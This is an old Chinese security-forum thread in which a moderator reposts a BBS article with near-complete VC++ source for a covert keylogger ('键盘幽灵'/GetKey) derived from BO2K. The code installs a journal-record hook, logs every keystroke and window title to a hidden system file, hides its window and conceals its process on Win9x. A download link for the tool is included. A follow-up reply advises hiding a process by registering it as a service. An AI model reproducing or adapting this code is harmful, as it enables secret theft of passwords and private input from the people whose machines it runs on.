论坛: 编程破解 标题: 谁能给我解释一下键盘幽灵? 复制本贴地址    
作者: jhz9 [jhz9]    论坛用户   登录
谁能给我解释一下键盘幽灵?
最好是连同原程序一起讲解
它太棒了~~:/)

地主 发表时间: 11/17 18:38

回复: jhz9 [jhz9]   论坛用户   登录
5555555555555555555555

B1层 发表时间: 11/18 20:50

回复: 286 [unique]   版主   登录
发信人: spark (磨剑), 信区: SysSafe

标  题: spark日志 2000.2.27

发信站: 我爱南开站 (Tue Feb 27 17:16:06 2001), 转信





对于全局钩子的使用常见的说法是把钩子函数放到.dll文件中,包括编程版

的一篇VC5.0的文章以及《计算机世界》2000.10.19B11编程技巧版“用VC++

编写钩子程序”。但在BO2K中,击键记录线程调用日志钩子明显不是从dll

文件来的,实际上BO2K Server 端已经不需要dll程序配合了。



我把BO2K中击键记录的日志钩子函数单独提出来,构造了一个只有24k 大的

键盘幽灵GetKey.exe,在win9x 下以隐藏方式运行,用户的所有击键记录在

与可执行文件相同目录下的隐藏文件keyfile.txt 中,按Ctrl+x中止键盘幽

灵程序的运行。如果想在Win2k下运行,需要去掉源代码中关于win9x隐藏进

程的部分,重新编译:



        http://cim.nankai.edu.cn/download/GetKey.zip



比较奇怪的是用户在win9x下运行command.com后,Dos 窗口内的击键无法记

录。Win2k中运行cmd.exe则可以记录。朋友的一种解释是win9x下command.com

中的击键不是以消息形式发送,是更底层的实现。



下面仿照《计算机世界》2000.10.19B11编程技巧版“用VC++编写钩子程序”

的格式给出键盘幽灵的编写方法:

1、在VC++6.0中利用MFC APPWizard(EXE)生成一个不使用文档/视图支持的单

文档应用GetKey。打开MainFrm.cpp文件。加入全局变量和函数的说明。



HHOOK g_hHook = NULL;                //全局钩子函数句柄

HANDLE g_hCapFile = NULL;            //文本文件句柄

HWND g_hGetKeyWindow = NULL;          //主程序窗体句柄

HWND g_hLastFocus = NULL;            //活动窗体句柄

int nScanValue[1];                    //用来保存前两次被按键的nScan值





//---------only win9x hide process---------------------------------------------//

HMODULE g_hModuleOfKernel = NULL;    //kernel32.dll的句柄

typedef DWORD (WINAPI *REGSERVICEPROC)(DWORD dwProcessId, DWORD dwServiceType);

          REGSERVICEPROC pRegisterServiceProcess;

//-----------------------------------------------------------------------------//







//这个日志钩子函数基本来自BO2K.

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

{

  if(nCode〈0) return CallNextHookEx(g_hHook,nCode,wParam,lParam);

 

  if(nCode==HC_ACTION) {        //HC_ACTION表明lParam指向一消息结构

      EVENTMSG *pEvt=(EVENTMSG *)lParam;

      if(pEvt-〉message==WM_KEYDOWN) {  //判断是否是击键消息

          DWORD dwCount,dwBytes;

          char svBuffer[256];

          int vKey,nScan;

 

          vKey=LOBYTE(pEvt-〉paramL);

          nScan=HIBYTE(pEvt-〉paramL);

          nScan〈〈=16;

 

          // Check to see if focus has changed

          HWND hFocus=GetActiveWindow();

          if(g_hLastFocus!=hFocus) {  //如果本次击键发生窗口同上次击键发生窗口同则保存窗口标题到文件中;

              char svTitle[256];

              int nCount;

              nCount=GetWindowText(hFocus,svTitle,256);

              if(nCount〉0) {

                  char svBuffer[512];

                  wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);

                  WriteFile(g_hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);

              }

              g_hLastFocus=hFocus;

          }

 

          // Write out key

          dwCount=GetKeyNameText(nScan,svBuffer,256);

          if(dwCount) {        //如果所击键在虚拟键表之中



      if(vKey==VK_SPACE) {

                  svBuffer[0]=' ';

                  svBuffer[1]='\0';

                  dwCount=1;

              }

              if(dwCount==1) {  //如果是普通键则将其对应的ascii码存入文件

                  BYTE kbuf[256];

                  WORD ch;

                  int chcount;

 

                  GetKeyboardState(kbuf);

     

      // if u press CTRL,the nScan is 1900554.and ALT is 367000,Del is 5439488.

      if ((nScanValue[1] == 1900544) && (vKey == 88))

      { 

        //如果按Ctrl+x则主程序退出,可改变比较值来更换热键,如vKey == 89则变为Ctrl+y。

        char valueofkey[256];

        wsprintf(valueofkey,"hehe,get ctrl+x");

        WriteFile(g_hCapFile,&valueofkey,strlen(valueofkey),&dwBytes,NULL) ;

        SendMessage(g_hGetKeyWindow,WM_CLOSE,0,0);

      }



                  chcount=ToAscii(vKey,nScan,kbuf,&ch,0);

                  if(chcount〉0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL) ;

              } else {          //如果是Ctrl、Alt之类则直接将其虚拟键名存入文件

                  nScanValue[0] = nScanValue[1];

                  nScanValue[1] = nScan; 



/*      //这里用来截获Ctrl+Alt,可以自行加入其它处理。

      if ((nScanValue[0] == 1900544) && (nScanValue[1] == 3670016))

      {

        char valueofkey[256];

        wsprintf(valueofkey,"hehe,do u want to restart?");

        WriteFile(g_hCapFile,&valueofkey,strlen(valueofkey),&dwBytes,NULL) ;

        pRegisterServiceProcess(GetCurrentProcessId(),1);

      }

*/



                  WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);

                  WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);

                  WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);

                  if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);

              }

          }

      }

 

    }



    return CallNextHookEx(g_hHook,nCode,wParam,lParam);

}



2、在CMainFram类的构造函数中安装钩子。



CMainFrame::CMainFrame()

{

  // TODO: add member initialization code here

  g_hCapFile=CreateFile("keyfile.txt",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);

  //可以将keyfile.txt改为其它文件名。

  if(g_hCapFile==INVALID_HANDLE_VALUE)

  {

  exit(-1);

  }

  SetFilePointer(g_hCapFile,0,NULL,FILE_END); //将文件指针移到文件尾

   

  //--------------------only win9x to hide process----------------//

  g_hModuleOfKernel = LoadLibrary("kernel32.dll");

  pRegisterServiceProcess = (REGSERVICEPROC)GetProcAddress(g_hModuleOfKernel,

      "RegisterServiceProcess");

    pRegisterServiceProcess(GetCurrentProcessId(),1);

  //--------------------------------------------------------------//

 



  g_hHook = SetWindowsHookEx(WH_JOURNALRECORD,

        KeyboardProc,

        GetModuleHandle(NULL),

        0);

}         

这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,非常

巧妙实用,也是这个小程序的精华所在。



3、在CMainFrame类的析构函数中卸载钩子:



CMainFrame::~CMainFrame()

{

  if ( g_hHook )

      UnhookWindowsHookEx(g_hHook);



  //---only win9x to hide process----//

  if ( g_hModuleOfKernel )

      FreeLibrary(g_hModuleOfKernel);

  //---------------------------------//

}

 

4、本程序还有个特色之处是对热键的处理,当按下Ctrl+x时,向幽灵程序的的

主窗体发送WM_CLOSE消息,这时需要主窗体的句柄。所以要打开GetKey.h 文件,

在其中加入:



extern HWND g_hGetKeyWindow;



打开GetKey.cpp文件,在BOOL CGetKeyApp::InitInstance()的实现中加入:



// The one and only window has been initialized, so show and update it.

g_hGetKeyWindow = pFrame-〉m_hWnd;  //保存主窗体句柄

pFrame-〉ShowWindow(SW_HIDE);      //运行时不显示主窗体

pFrame-〉UpdateWindow();



说来好笑,我调试程序的时候为来让运行时不显示主窗体,不停的改窗体的风格

参数,最后才发现只要把ShowWindow()的参数由SW_SHOW 改为SW_HIDE 就可以了。





好了,应该就是这些。





--





        位卑未敢忘忧国



※ 修改:.spark 于 Feb 28 09:37:42 修改本文.[FROM: 202.113.27.52]

※ 来源:.我爱南开站 bbs.nankai.edu.cn.[FROM: 202.113.27.52]



B2层 发表时间: 11/19 09:09

回复: jhz9 [jhz9]   论坛用户   登录
谢谢286大哥
我会努力的!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

B3层 发表时间: 11/19 16:45

回复: jhz9 [jhz9]   论坛用户   登录
大哥可以帮我吗?
我现在想编一个程序
第一步是想隐藏主程序(在98的进程管理器中看不到)
用哪个函数?(c的)我在一本书上见过,但当时对程序一翘不通
今天我又搜了
但是没找到
谢谢了

B4层 发表时间: 11/19 16:58

回复: 286 [unique]   版主   登录
注册成服务. http://www1.baidu.com/baidu?cl=3&tn=baidu&word=%D2%FE%B2%D8%BD%F8%B3%CC

B5层 发表时间: 11/19 17:30

回复: jhz9 [jhz9]   论坛用户   登录
谢谢了
大哥
?/:)

B6层 发表时间: 11/19 17:38

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号